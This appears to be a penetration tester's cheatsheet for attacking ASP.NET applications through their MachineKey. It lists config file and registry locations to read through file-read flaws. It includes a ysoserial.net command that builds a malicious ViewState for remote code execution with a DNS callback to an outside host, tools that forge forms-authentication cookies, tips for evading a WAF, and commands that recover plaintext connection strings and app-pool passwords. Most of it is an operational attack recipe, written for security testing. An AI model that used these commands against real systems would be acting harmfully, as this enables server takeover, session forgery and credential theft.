ASP.NET Cryptography for Pentesters Cheatsheet

https://blog.liquidsec.net **@paulmmueller**

Get the MachineKey

Exploit file read vulnerability (XXE, SSRF, etc.)

Possible locations:

- web.config
- ../web.config
- C:\inetpub\wwwroot\web.config
- E:\applicationName\web.config
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config

Autogenerated Keys will only exist in registry

- HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
- HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
- Extract via planted.aspx file: **https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab**

Publicly Leaked Keys

Test with Blacklist3r - https://github.com/NotSoSecure/Blacklist3r

```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --
modifier=<modifier value>  - macdecode
```

Do your own open source research to find additional keys

Exploit the MachineKey

Viewstate RCE

- Find an endpoint that uses viewstate
- Get generator value from **__VIEWSTATEGENERATOR**
- Generate malicious viewstate - ysoserial.net (https://github.com/pwntester/ysoserial.net)

```
ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c ″cmd.exe /c nslookup <your collab domain>
″  --decryptionalg=″AES″ --generator=ABABABAB decryptionkey=″<decryption key>″  --validationalg=″SHA1″ -
-validationkey=″<validation key>″
```

- Replace viewstate while intercepted (doing so avoids problems with CSRF tokens)
- **DO NOT** forget to URL encode! (key-characters only)
- If WAF is blocking, try other gadgets (TypeConfuseDelegate is a good one)

Forms Authentication Cookie Encrypt / Decrypt

https://github.com/liquidsec/aspnetCryptTools

- Put your machineKey in app.config
- FormsDecrypt.cs – decrypt forms auth cookie
- FormsEncrypt.cs – modify and re-encrypt / sign existing auth cookie

Post Exploitation

Encrypted configuration (web.config) values

Run as local admin, from webroot folder of target application. Best to run against a copy.

```
c:\LOCATIONOFWEBROOT>c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis -pdf connectionStrings .
```

ApplicationHost.config

C:\Windows\System32\inetsrv\Config\ApplicationHost.config

- Best source of info about other applications co-hosted on server
- Can house encrypted local / domain passwords (local admin required)

List Apppools

```
%systemroot%\system32\inetsrv\APPCMD list apppools
```

Get the details of the selected apppool, including plaintext passwords

```
%systemroot%\system32\inetsrv\APPCMD list vdirs <dirname>/ /text:*
```

List Virtual Directories

```
%systemroot%\system32\inetsrv\APPCMD list vdirs
```

Get the details of the selected virtual directory, including plaintext passwords

```
%systemroot%\system32\inetsrv\APPCMD list vdirs <dirname>/ /text:*
```